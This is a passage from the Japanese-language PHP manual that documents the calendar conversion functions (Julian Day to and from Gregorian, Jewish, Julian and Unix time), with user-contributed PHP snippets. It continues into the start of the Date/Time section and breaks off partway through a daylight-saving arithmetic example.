ユリウス積算日をグレゴリウス日に変換する

  • ≪ jdtofrench
  • jdtojewish ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス積算日をグレゴリウス日に変換する

jdtogregorian

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtogregorian — ユリウス積算日をグレゴリウス日に変換する

説明

jdtogregorian ( int $julian_day ) : string

ユリウス積算日を "月/日/年" の形式でグレゴリウス日を含む文字列に変換します。

パラメータ

julian_day

ユリウス積算日を表す整数値。

返り値

グレゴリウス暦の日付を "月/日/年" 形式の文字列で返します。

参考

  • gregoriantojd() - グレゴリウス日をユリウス積算日に変換する
  • cal_from_jd() - ユリウス積算日からサポートされるカレンダーに変換する

User Contributed Notes

ashton at ieee dot org 18-Sep-2016 08:08
The minimum acceptable input Julian day count is 1, which produces an output of "11/25/-4714" (at least in my operating system and location) which means 25 November 4714 BC. PHP does not recognize the year 0. Astronomers do use the year 0, and would write the Gregorian date that corresponds to Julian day number 1 as 25 November -4713.
swiles at ddbc dot edu dot tw 25-Jan-2009 09:34
The php gregoriantojd() and jdtogregorian() functions, in addition to the limitations noted by httpwebwitch, does not take account of the 'Astronomical' system of reckoning - i.e. using a year zero, instead of going directly from 1BCE to 1CE, as with the Christian Anno Domini system.

These functions can be used to wrap the php built-ins to return ISO 8601 compliant dates:

<?php
function ISO8601toJD($ceDate) {
    list($day, $month, $year) = array_map('strrev',explode('-', strrev($ceDate), 3));
    if ($year <= 0) $year--;
    return gregoriantojd($month, $day, $year);
}

function JDtoISO8601($JD) {
    if ($JD <= 1721425) $JD += 365;
    list($month, $day, $year) = explode('/', jdtogregorian($JD));
    return sprintf('%+05d-%02d-%02d', $year, $month, $day);
}
?>
httpwebwitch 22-Jun-2004 10:37
JD days may have decimal fractions which correspond to the time of day. The Julian day begins at noon, and the decimal fraction measures fractional days until the beginning of the next day at noon.

For instance, Julian Day 2453179.00000 is June 22, 2004, at 12:00pm (noon).

One hour later, it's 2453179.04167
At 2453179.20833 I'll have dinner, and
at 2453179.45833, it's time for the evening news.
After a good night of sleep, my alarm will go off at 2453179.83333,
then at noon on June 23, a new Julian Day begins at 2453180.

To use these functions with fractional days, strip the fractional part with floor(), and apply the function to the integer part.

Then add 12 hours, bringing you to noon of that day. That is the actual time returned by JDToGregorian().

Then add the fractional part of the day, by multiplying the decimal part of the Julian Day by (24*60*60) seconds. This may take you forward or backward to a different Gregorian calendar date.
uni_fl4r3 at t hotmail dot com 14-Sep-2003 08:05
I have made a slight modification to treebe's jd to greg function, this one will transform a unix timestamp to Gregorian day/month/year format...

<?php
function unix_to_greg($unix_timestamp) {
    $julian = floor(((($unix_timestamp / "60") / "60") / "24") + "2440588");
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10)
    {
        $month = $month + 3;
    }else{
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>
treebe 31-May-2003 05:01
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.

<?php
function jd_to_greg($julian) {
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10) {
        $month = $month + 3;
    }
    else {
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>


ユリウス積算日をユダヤ暦に変換する

  • ≪ jdtogregorian
  • jdtojulian ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス積算日をユダヤ暦に変換する

jdtojewish

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtojewish — ユリウス積算日をユダヤ暦に変換する

説明

jdtojewish ( int $julian_day , bool $hebrew = false , int $flags = 0 ) : string

ユリウス積算日をユダヤ暦に変換します。

パラメータ

julianday

ユリウス積算日を表す整数値。

hebrew

パラメータ hebrew が true に設定されている場合、 ヘブライ語の ISO-8859-8 ベースの文字列形式での出力のために flags が使用されます。

flags

組み合わせ可能なビットマスクは CAL_JEWISH_ADD_ALAFIM_GERESH、 CAL_JEWISH_ADD_ALAFIM および CAL_JEWISH_ADD_GERESHAYIM です。

返り値

ユダヤ暦の日付を "月/日/年" 形式の文字列で返します。 または、hebrew に応じて ISO-8859-8 でエンコードされたヘブライ語の文字列を返します。

例

例1 jdtojewish() の例

<?php
$jd = gregoriantojd(10, 8, 2002);
echo jdtojewish($jd, true), PHP_EOL,
     jdtojewish($jd, true, CAL_JEWISH_ADD_GERESHAYIM), PHP_EOL,
     jdtojewish($jd, true, CAL_JEWISH_ADD_ALAFIM), PHP_EOL,
     jdtojewish($jd, true,CAL_JEWISH_ADD_ALAFIM_GERESH), PHP_EOL;
?>

上の例の出力は以下となります。

? ???? ?????
?' ???? ????"?
? ???? ? ????? ????
? ???? ?'????

参考

  • jewishtojd() - ユダヤ暦の日付けをユリウス積算日に変換する
  • cal_from_jd() - ユリウス積算日からサポートされるカレンダーに変換する

User Contributed Notes

Berel 23-Jan-2020 04:59
If you wish to format the hebrew date as this (ignore the brackets): [?"? ???? ?'???"?], since none of the 3 bitmasks include this format, you can use the CAL_JEWISH_ADD_GERESHAYIM mask, and then insert the ' into the year with the second line, as shown:

$hebdate = jdtojewish(gregoriantojd(6,14,2015),1,CAL_JEWISH_ADD_GERESHAYIM);
$hebdate = substr_replace($hebdate,"'",strrpos($hebdate," ")+2,0);
WWW dot netfree at gmail dot com 04-May-2019 08:24
Check whether the year is leap year, in order to determine whether the value 7 = Adar or Adar 2

<?php

$hebrewDate = jdtojewish(gregoriantojd(date('m', $DateStamp), date('d', $DateStamp), date('Y', $DateStamp)));
list($hebrewMonth, $hebrewDay, $hebrewYear) = explode('/',$hebrewDate);

$m = array(3, 6, 8, 11, 14, 17, 19);
$meuberet = in_array(($hebrewYear % 19), $m);
if($meuberet) if($hebrewMonth == 7) $hebrewMonth = '7b'; //This is Adar 2
eclipsechasers2 at yahoo dot com 06-Jan-2015 12:34
With PHP 5.5, the functionality changed regarding Adar in a non-leap year. Prior to 5.5, the month was returned as 6. In 5.5 and 5.6, the month is returned as 7. This difference is not listed under "What has changed in PHP 5.5.x".
adam at tadam dot co dot il 23-Mar-2012 09:57
<?php
// Hebrew date in hebrew
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM + CAL_JEWISH_ADD_ALAFIM + CAL_JEWISH_ADD_ALAFIM_GERESH); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: ?"? ??? ?' ????? ???"?

// or
$str = jdtojewish(gregoriantojd( date('m'), date('d'), date('Y')), true, CAL_JEWISH_ADD_GERESHAYIM); // for today
$str1 = iconv ('WINDOWS-1255', 'UTF-8', $str); // convert to utf-8

echo $str1; // for 23/03/2012 will print: ?"? ??? ????"?
?>
erelsgl at gmail dot com 29-Aug-2009 03:28
Sometimes it is useful to have the date in the format YYYY-MM-DD, which is sortable (e.g. you can sort dates by sorting the strings):

<?php
function JDToSortableJewish($jd) {
    return
        preg_replace("|(\d+)/(\d+)/(\d+)|","$3-$1-$2",  // year-month-day
        preg_replace("|/(\d)/|","/0$1/", // add zeros to the day
        preg_replace("|^(\d)/|","0$1/",  // add zeros to the month
        JDToJewish($jd))));
}
?>
erelsgl at gmail dot com 29-Aug-2009 02:01
In Hebrew leap years, the function will return 6 for Adar A, 7 for Adar B, 8 for Nisan, etc.

In Hebrew non-leap years, the function will return 6 for Adar, 8 for Nisan, etc.

i.e., the "real" Adar is Adar A.
asphp at dsgml dot com 28-May-2007 02:10
This function outputs in ISO-8859-8-l.

To convert to unicode UTF-8 do this:

<?php

echo mb_convert_encoding( jdtojewish( unixtojd(), true ), "UTF-8", "ISO-8859-8");

?>
gr8g0thamguy at yahoo dot com 01-Sep-2003 11:39
Based on the code already posted by Dave, I've modified it to display the *current* date on a page:

<?php

$gregorianMonth = date(n);
$gregorianDay = date(j);
$gregorianYear = date(Y);

$jdDate = gregoriantojd($gregorianMonth,$gregorianDay,$gregorianYear);

$hebrewMonthName = jdmonthname($jdDate,4);

$hebrewDate = jdtojewish($jdDate);

list($hebrewMonth, $hebrewDay, $hebrewYear) = split('/',$hebrewDate);

echo "$hebrewDay $hebrewMonthName $hebrewYear";
?>
dave_at_mitzvahweb.com 04-Mar-2002 04:04
There's probably a simpler way to do this, but I needed to convert a Gregorian date to a Hebrew one and display it with the Hebrew month name (not the number).

Perhaps it can help somebody...

<?php

//enter your Gregorian date with the variables $gregorianMonth, $gregorianDay, and $gregorianYear using the numerical representation of the month

$jdDate = gregoriantojd ( $gregorianMonth, $gregorianDay, $gregorianYear);

$gregorianMonthName = jdmonthname ( $jdDate, 1 );

$hebrewDate = jdtojewish ($jdDate);

list ($hebrewMonth, $hebrewDay, $hebrewYear) = split ('/', $hebrewDate);

$hebrewMonthName = jdmonthname ( $jdDate, 4);

 echo "Your date in Hebrew would read: $hebrewDay $hebrewMonthName $hebrewYear";

?>


ユリウス積算日をユリウス暦に変換する

  • ≪ jdtojewish
  • jdtounix ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス積算日をユリウス暦に変換する

jdtojulian

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtojulian — ユリウス積算日をユリウス暦に変換する

説明

jdtojulian ( int $julian_day ) : string

ユリウス積算日を "月/日/年" の形式でユリウス暦を含む文字列に変換します。

パラメータ

julian_day

ユリウス積算日を表す整数値。

返り値

ユリウス暦の日付を "月/日/年" 形式の文字列で返します。

参考

  • juliantojd() - ユリウス暦をユリウス積算日に変換する
  • cal_from_jd() - ユリウス積算日からサポートされるカレンダーに変換する

User Contributed Notes

There are no user contributed notes for this page.


ユリウス歴を Unix タイムスタンプに変換する

  • ≪ jdtojulian
  • jewishtojd ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス歴を Unix タイムスタンプに変換する

jdtounix

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtounix — ユリウス歴を Unix タイムスタンプに変換する

説明

jdtounix ( int $julian_day ) : int

この関数は、julian_day で指定したユリウス歴に 対応する Unix タイムスタンプを返します。 返される時刻はUTCです。

パラメータ

julian_day

64bit のシステムでは、2440588 から 106751993607888 までのユリウス積算日。 32bit のシステムでは、2440588 から 2465443 までの値です。

返り値

指定したユリウス積算日の開始(昼ではなく夜中)時の Unix タイムスタンプを返します。

エラー / 例外

julian_day が範囲外の値の場合、 ValueError がスローされます。

変更履歴

バージョン | 説明
8.0.0 | この関数は、失敗時に false を返さなくなりました。 代わりに ValueError をスローするようになっています。
7.3.24, 7.4.12 | julian_day の上限が拡張されました。 これより前のバージョンでは、アーキテクチャに関わらず、 2465342 が上限でした。

参考

  • unixtojd() - Unix タイムスタンプをユリウス歴に変換する

User Contributed Notes

Saeed Hubaishan 22-Oct-2014 06:11
unixtojd() assumes that your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.
so
<?php
$d1=jdtogregorian(unixtojd(time()));
$d2= gmdate("m/d/Y");
$d3=date("m/d/Y");
?>
$d1 always equals $d2 but $d1 may differ from $d3
fabio at llgp dot org 31-Aug-2006 02:14
If you need an easy way to convert a decimal julian day to an unix timestamp you can use:

$unixTimeStamp = ($julianDay - 2440587.5) * 86400;

2440587.5 is the julian day at 1/1/1970 0:00 UTC
86400 is the number of seconds in a day
27-Jan-2005 06:50
Warning: the calender functions involving julian day operations seem to ignore the decimal part of the julian day count.

This means that the returned date is wrong 50% of the time, since a julian day starts at decimal .5 .  Take care!!
seb at carbonauts dot com 21-Oct-2003 12:10
Remember that unixtojd() assumes your timestamp is in GMT, but jdtounix() returns a timestamp in localtime.

This fooled me a few times.

So if you have:

$timestamp1 = time();
$timestamp2 = jdtounix(unixtojd($timestamp1));

Unless your localtime is the same as GMT, $timestamp1 will not equal $timestamp2.
pipian at pipian dot com 12-Jun-2003 09:29
Remember that UNIX timestamps indicate a number of seconds from midnight of January 1, 1970 on the Gregorian calendar, not the Julian Calendar.


ユダヤ暦の日付けをユリウス積算日に変換する

  • ≪ jdtounix
  • juliantojd ≫
  • PHP Manual
  • カレンダー 関数
  • ユダヤ暦の日付けをユリウス積算日に変換する

jewishtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

jewishtojd — ユダヤ暦の日付けをユリウス積算日に変換する

説明

jewishtojd ( int $month , int $day , int $year ) : int

この関数では1年(紀元前3761年)に遡って全ての日々を扱うこと が出来ますが、この様な使い方は特に意味があるわけではありません。 ユダヤ暦は数千年に渡って使われていますが、当初は月の 始まりが決められていませんでいた。新しい月は新月が最初に観測 された日に始まりました。

パラメータ

month

月を表す、1 から 13 までの数値。 1 は Tishri を、 13 s Elul という意味です。 そして 6 と 7 は 通常の年では Adar を意味していますが、 うるう年では Adar I と Adar II をそれぞれ意味しています。

day

日を表す、1 から 30 までの数値。 月が29日しかない場合、次の月のはじめの日と見なされます。

year

年を表す、1 から 9999 までの数値。

返り値

指定したユダヤ暦の日付に対応するユリウス積算日を返します。

参考

  • jdtojewish() - ユリウス積算日をユダヤ暦に変換する
  • cal_to_jd() - サポートされるカレンダーからユリウス積算日に変換する

User Contributed Notes

There are no user contributed notes for this page.


ユリウス暦をユリウス積算日に変換する

  • ≪ jewishtojd
  • unixtojd ≫
  • PHP Manual
  • カレンダー 関数
  • ユリウス暦をユリウス積算日に変換する

juliantojd

(PHP 4, PHP 5, PHP 7, PHP 8)

juliantojd — ユリウス暦をユリウス積算日に変換する

説明

juliantojd ( int $month , int $day , int $year ) : int

ユリウス暦は紀元前 4713 年から紀元 9999 年の範囲で使えます。

この関数は日付けを全て紀元前 4713 年にさかのぼって扱うことが 出来ますが,この様な使い方はあまり意味があるわけではありません。 このカレンダーは紀元前 46 年に作られました、しかし細部は紀元 8 年になるまで、おそらくは 4 世紀になるまで安定しませんでした。 また、年の始まりを一つの文化のものから別の文化のものに変更すること、 つまり、January を最初の月とすることは全く受け入れられませんでした。

警告

覚えておいてほしいのは、現在世界中で使用されているカレンダーは グレゴリウス暦であるということです。この日付をユリウス日に 変換するには、gregoriantojd() が使用可能です。

パラメータ

month

月を表す、1 (for January) から 12 (for December) までの数値。

day

日を表す、1 から 31 までの数値。

year

年を表す、-4713 から 9999 までの数値。

返り値

指定したユリウス暦の日付に対応するユリウス積算日を返します。

参考

  • jdtojulian() - ユリウス積算日をユリウス暦に変換する
  • cal_to_jd() - サポートされるカレンダーからユリウス積算日に変換する

User Contributed Notes

Christian Kollross 11-Apr-2019 08:55
Warning to non-US users:
This function uses the US date notation (month, day, year), which is easily overlooked!
Anonymous 22-Jul-2017 07:30
I didn't even know this function existed.


Unix タイムスタンプをユリウス歴に変換する

  • ≪ juliantojd
  • Date/Time ≫
  • PHP Manual
  • カレンダー 関数
  • Unix タイムスタンプをユリウス歴に変換する

unixtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

unixtojd — Unix タイムスタンプをユリウス歴に変換する

説明

unixtojd ( int|null $timestamp = null ) : int|false

Unix タイムスタンプ(1970/1/1 からの秒数)timestamp をユリウス歴に変換して返します。timestamp が 指定されない場合は現在の日付が使用されます。 どちらの場合でも、時刻は地方時間と見なされます(UTCではありません)。

パラメータ

timestamp

変換したい Unix タイムスタンプ。

返り値

ユリウス積算日を表す整数値を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | timestamp は、nullable になりました。

参考

  • jdtounix() - ユリウス歴を Unix タイムスタンプに変換する

User Contributed Notes

hrabi at linuxwaves dot com 29-Mar-2007 06:02
according to http://www.decimaltime.hynes.net/dates.html#jd and reading "X. Calendar Functions" on this side, it seems that php "jd" is precisely mean as "Chronological Julian Day" (should it be named cjd, and primarily strictly mentioned - isn't it?), used for covnersion between calendar systems. Than it's ok (but Incomplete manual is strongly confusing here IMHO).
Even that, cJD is adjusted to a local time, so... I am rather babeled now, so nothing else :-).
hrabi at linuxwaves dot com 29-Mar-2007 03:33
This is unusable. Julian Day start at noon, not midnight. It's better to use Fabio solution (however there is a lurk problem with leap second).

<?php
function mmd($txt, $str_time) {
   $t = strtotime($str_time);
   $j = unixtojd($t);
   $s = gmstrftime('%D %T %Z', $t);
   $j_fabio = $t / 86400 + 2440587.5;

   printf("${txt} => (%s) %s, %s U, %s J, or %s J<br>\n", $str_time, $s, $t, $j, $j_fabio);
}

//$xt = strtotime("1.1.1970 15:00.00 GMT");
$sam = "9.10.1995 02:00.01 GMT";
$spm = "9.10.1995 22:00.01 GMT";

// unixtojd for $spm returns 2450000 (OK), but for $sam returns 2450000 too! (it is wrong).
mmd("am", $sam);  // should be 2449999 (+ 0.58334)
mmd("pm", $spm);  // should be 2450000 (+ 0.41668)
?>

reference
unix time, and UTC, TAI, ntp, ... problems: http://en.wikipedia.org/wiki/Unix_time
Julian Date Converter: http://aa.usno.navy.mil/data/docs/JulianDate.html
history overview: http://parris.josh.com.au/humour/work/17Nov1858.shtml
fabio at llgp dot org 31-Aug-2006 02:09
If you need an easy way to convert an unix timestamp to a decimal julian day you can use:

$julianDay = $unixTimeStamp / 86400 + 2440587.5;

86400 is the number of seconds in a day;
2440587.5 is the julian day at 1/1/1970 0:00 UTC.
10-Aug-2006 07:22
Its clearly stated that this function returns the Julian Day, not Julian Day + time.

If you want the time with it you will have to do something like:

$t=time();
$jd=unixtojd($t)+($t%60*60*24)/60*60*24;
johnston at capsaicin dot ca 19-Nov-2003 01:43
Also note that epoch is in UTC time (epoch is a specific point in time - epoch is not different for every time zone), so be aware of timezone complexities.


日付・時刻

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 日付/時刻 の算術
  • DateTime — DateTime クラス
    • DateTime::add — 年月日時分秒の値を DateTime オブジェクトに加える
    • DateTime::__construct — 新しい DateTime オブジェクトを返す
    • DateTime::createFromFormat — 指定した書式で時刻文字列をパースする
    • DateTime::createFromImmutable — 与えられた DateTimeImmutable オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す
    • DateTime::createFromInterface — 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTime オブジェクトを返す
    • DateTime::getLastErrors — 警告およびエラーを返す
    • DateTime::modify — タイムスタンプを変更する
    • DateTime::__set_state — __set_state ハンドラ
    • DateTime::setDate — 日付を設定する
    • DateTime::setISODate — ISO 日付を設定する
    • DateTime::setTime — 時刻を設定する
    • DateTime::setTimestamp — Unix タイムスタンプを用いて日付と時刻を設定する
    • DateTime::setTimezone — DateTime オブジェクトのタイムゾーンを設定する
    • DateTime::sub — 年月日時分秒の値を DateTime オブジェクトから引く
  • DateTimeImmutable — DateTimeImmutable クラス
    • DateTimeImmutable::add — 年月日時分秒の値を加える
    • DateTimeImmutable::__construct — 新しい DateTimeImmutable オブジェクトを返す
    • DateTimeImmutable::createFromFormat — 時刻の文字列を指定されたフォーマットに従ってパースする
    • DateTimeImmutable::createFromInterface — 指定された DateTimeInterface オブジェクトをカプセル化した、新しい DateTimeImmutable オブジェクトを返す
    • DateTimeImmutable::createFromMutable — 与えられた DateTime オブジェクトをカプセル化した、新しいDateTimeImmutable オブジェクトを返す
    • DateTimeImmutable::getLastErrors — 警告およびエラーを返す
    • DateTimeImmutable::modify — タイムスタンプを変更した新しいオブジェクトを作る
    • DateTimeImmutable::__set_state — __set_state ハンドラ
    • DateTimeImmutable::setDate — 日付を設定する
    • DateTimeImmutable::setISODate — ISO 日付を設定する
    • DateTimeImmutable::setTime — 時刻を設定する
    • DateTimeImmutable::setTimestamp — Unix タイムスタンプを用いて日付と時刻を設定する
    • DateTimeImmutable::setTimezone — タイムゾーンを設定する
    • DateTimeImmutable::sub — 年月日時分秒の値を引く
  • DateTimeInterface — DateTimeInterface インターフェイス
    • DateTime::diff — ふたつの DateTime オブジェクトの差を返す
    • DateTime::format — 指定した書式でフォーマットした日付を返す
    • DateTime::getOffset — タイムゾーンのオフセットを返す
    • DateTime::getTimestamp — Unix タイムスタンプを取得する
    • DateTime::getTimezone — 指定した DateTime に関連するタイムゾーンを返す
    • DateTime::__wakeup — __wakeup ハンドラ
  • DateTimeZone — DateTimeZone クラス
    • DateTimeZone::__construct — 新しい DateTimeZone オブジェクトを作成する
    • DateTimeZone::getLocation — タイムゾーンの位置情報を返す
    • DateTimeZone::getName — タイムゾーンの名前を返す
    • DateTimeZone::getOffset — GMT からのタイムゾーンのオフセットを返す
    • DateTimeZone::getTransitions — タイムゾーンの変遷を返す
    • DateTimeZone::listAbbreviations — 夏時間、オフセットおよびタイムゾーン名を含む連想配列を返す
    • DateTimeZone::listIdentifiers — すべてのタイムゾーン識別子を含む配列を返す
  • DateInterval — DateInterval クラス
    • DateInterval::__construct — 新しい DateInterval オブジェクトを作成する
    • DateInterval::createFromDateString — 相対指定文字列から DateInterval を作成する
    • DateInterval::format — 間隔をフォーマットする
  • DatePeriod — DatePeriod クラス
    • DatePeriod::__construct — 新しい DatePeriod オブジェクトを作成する
    • DatePeriod::getDateInterval — 間隔を取得する
    • DatePeriod::getEndDate — 終了日を取得する
    • DatePeriod::getRecurrences — 繰り返しの数を取得する
    • DatePeriod::getStartDate — 開始日を取得する
  • 日付・時刻 関数
    • checkdate — グレゴリオ暦の日付/時刻の妥当性を確認します
    • date_add — DateTime::add のエイリアス
    • date_create_from_format — DateTime::createFromFormat のエイリアス
    • date_create_immutable_from_format — DateTimeImmutable::createFromFormat のエイリアス
    • date_create_immutable — DateTimeImmutable::__construct のエイリアス
    • date_create — DateTime::__construct のエイリアス
    • date_date_set — DateTime::setDate のエイリアス
    • date_default_timezone_get — スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを取得する
    • date_default_timezone_set — スクリプト中の日付/時刻関数で使用されるデフォルトタイムゾーンを設定する
    • date_diff — DateTime::diff のエイリアス
    • date_format — DateTime::format のエイリアス
    • date_get_last_errors — DateTime::getLastErrors のエイリアス
    • date_interval_create_from_date_string — DateInterval::createFromDateString のエイリアス
    • date_interval_format — DateInterval::format のエイリアス
    • date_isodate_set — DateTime::setISODate のエイリアス
    • date_modify — DateTime::modify のエイリアス
    • date_offset_get — DateTime::getOffset のエイリアス
    • date_parse_from_format — 指定した書式でフォーマットされた日付についての情報を取得する
    • date_parse — 指定した日付/時刻の詳細な情報を連想配列で返す
    • date_sub — DateTime::sub のエイリアス
    • date_sun_info — 日の出/日の入り時刻と薄明かり (twilight) の開始/終了時刻の情報を含む配列を返す
    • date_sunrise — 指定した日付と場所についての日の出時刻を返す
    • date_sunset — 指定した日付と場所についての日の入り時刻を返す
    • date_time_set — DateTime::setTime のエイリアス
    • date_timestamp_get — DateTime::getTimestamp のエイリアス
    • date_timestamp_set — DateTime::setTimestamp のエイリアス
    • date_timezone_get — DateTime::getTimezone のエイリアス
    • date_timezone_set — DateTime::setTimezone のエイリアス
    • date — ローカルの日付/時刻を書式化する
    • getdate — 日付/時刻情報を取得する
    • gettimeofday — 現在の時間を得る
    • gmdate — GMT/UTC の日付/時刻を書式化する
    • gmmktime — GMT 日付から Unix タイムスタンプを取得する
    • gmstrftime — ロケールの設定に基づいて GMT/UTC 時刻/日付をフォーマットする
    • idate — ローカルな時刻/日付を整数として整形する
    • localtime — ローカルタイムを得る
    • microtime — 現在の Unix タイムスタンプをマイクロ秒まで返す
    • mktime — 日付を Unix のタイムスタンプとして取得する
    • strftime — ロケールの設定に基づいてローカルな日付・時間をフォーマットする
    • strptime — strftime が生成した日付/時刻をパースする
    • strtotime — 英文形式の日付を Unix タイムスタンプに変換する
    • time — 現在の Unix タイムスタンプを返す
    • timezone_abbreviations_list — DateTimeZone::listAbbreviations のエイリアス
    • timezone_identifiers_list — DateTimeZone::listIdentifiers のエイリアス
    • timezone_location_get — DateTimeZone::getLocation のエイリアス
    • timezone_name_from_abbr — 略称からタイムゾーン名を返す
    • timezone_name_get — DateTimeZone::getName のエイリアス
    • timezone_offset_get — DateTimeZone::getOffset のエイリアス
    • timezone_open — DateTimeZone::__construct のエイリアス
    • timezone_transitions_get — DateTimeZone::getTransitions のエイリアス
    • timezone_version_get — timezonedb のバージョンを取得する
  • サポートする日付と時刻の書式
    • 時刻の書式
    • 日付の書式
    • 複合的な書式
    • 相対的な書式
  • サポートされるタイムゾーンのリスト
    • アフリカ
    • アメリカ
    • 南極
    • 北極
    • アジア
    • 大西洋
    • オーストラリア
    • ヨーロッパ
    • インド
    • 太平洋
    • その他

User Contributed Notes

Moo0z0r 21-Jun-2010 11:58
I think it's important to mention with the DateTime class that if you're trying to create a system that should store UNIX timestamps in UTC/GMT, and then convert them to a desired custom time-zone when they need to be displayed, using the following code is a good idea:

<?php
date_default_timezone_set('UTC');
?>

Even if you use something like:

<?php
$date->setTimezone( new DateTimeZone('UTC') );
?>

... before you store the value, it doesn't seem to work because PHP is already trying to convert it to the default timezone.


はじめに

以下の関数により、PHP スクリプトを実行するサーバーから 日付と時間を取得することが可能となります。 多くの異なる方法で日付や時間をフォーマットするために これらの関数を使用することができます。

日付と時刻の情報は内部的には 64 ビット数値で保持されているので、 (負の年も含めて) 考え得る限りのあらゆる日付を扱うことができます。 扱える範囲は、過去およそ2920億年と未来の同じくらいの年です。

注意: これらの関数は、使用するサーバーのロケールの設定に依存していることに注意してください。 これらの関数を使用する際にはサマータイム (例えば、.$date += 7*24*60*60ではなく、 $date = $date->modify('+7 days') とする) および閏年を必ず考慮に入れるようにしてください。

注意: この節で参照しているタイムゾーンは、 サポートされるタイムゾーンのリスト で見つけられます。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP コアに含まれるため、 追加のインストール無しで使用できます。

注意: 最新のタイムゾーンデータベースの取得

最新バージョンのタイムゾーンデータベースは、PECL の » timezonedb からインストールできます。

注意: PHP 5.1.x における実験的な DateTime サポート

DateTime クラス (とそれに関連する関数) がデフォルトで使用できるようになったのは PHP 5.2.0 からですが、 PHP 5.1.x でも実験的な DateTime サポートを追加することができます。 そのためには、configure/コンパイルの前に CFLAGS=-DEXPERIMENTAL_DATE_SUPPORT=1 フラグを使用します。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Date/Time 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
date.default_latitude | "31.7667" | PHP_INI_ALL |
date.default_longitude | "35.2333" | PHP_INI_ALL |
date.sunrise_zenith | "90.583333" | PHP_INI_ALL |
date.sunset_zenith | "90.583333" | PHP_INI_ALL |
date.timezone | "GMT" | PHP_INI_ALL | PHP 5.1.0 以降で利用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

date.default_latitude float

デフォルトの緯度

date.default_longitude float

デフォルトの経度

date.sunrise_zenith float

デフォルトの日出点

date.sunset_zenith float

デフォルトの日没点

date.timezone string

全ての日付/時刻関数で使用されるデフォルトのタイムゾーン。 PHP 5.4.0 より前のバージョンでは、これは環境変数 TZ の値が設定されていない場合にのみ機能していました。 明示的に指定しなかったときにどのタイムゾーンを利用するのかについての優先順位は date_default_timezone_get() のページで解説されています。サポートしているタイムゾーンについては サポートされるタイムゾーンのリスト を参照ください。

注意: 最初の 4 つの設定オプションは現時点で date_sunrise() と date_sunset() でのみ使用されます。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

DATE_ 定数 は PHP 5.1.1 以降で定義されており、標準的な日付の書式を表します。 日付フォーマット関数（date() など）で使用します。

以下の定数は PHP 5.1.2 以降に存在し、関数 date_sunrise() および date_sunset() が返す結果の書式を指定します。

SUNFUNCS_RET_TIMESTAMP (int)
タイムスタンプ
SUNFUNCS_RET_STRING (int)
時:分 (例: 08:02)
SUNFUNCS_RET_DOUBLE (int)
時刻を表す浮動小数点値 (例 8.75)

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 日付/時刻 の算術

User Contributed Notes

There are no user contributed notes for this page.


日付/時刻 の算術

以下の例は、DST(夏時間) への移行や、 異なった日を持つ月に関する 日付/時刻 の算術の罠をいくつか紹介します。

例1 DateTimeImmutable::add/sub は、経過時間を含む区間を足してしまう

DST (夏時間) への移行タイミングをまたいで 24時間を足してしまうと、 (ほとんどのタイムゾーンでは) 23/25時間を足しているように見える

<?php
$dt = new DateTimeImmutable("2015-11-01 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
$dt = $dt->add(new DateInterval("PT3H"));
echo "End:   ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
?>

上の例の出力は以下となります。

Start: 2015-11-01 00:00:00 -04:00
End:   2015-11-01 02:00:00 -05:00

例2 DateTimeImmutable::modify と strtotime を使い、個々のコンポーネントの値をインクリメント/デクリメントする

DST (夏時間) の移行のタイミングをまたいで24時間を足すと、日付/時刻 文字列に正確に24時間足されることになります (開始時刻と終了時刻が同じ移行ポイントにない場合) point).

<?php
$dt = new DateTimeImmutable("2015-11-01 00:00:00", new DateTimeZone("America/New_York"));
echo "Start: ", $dt->format("Y-m-d H:i:s P"), PHP_EOL;
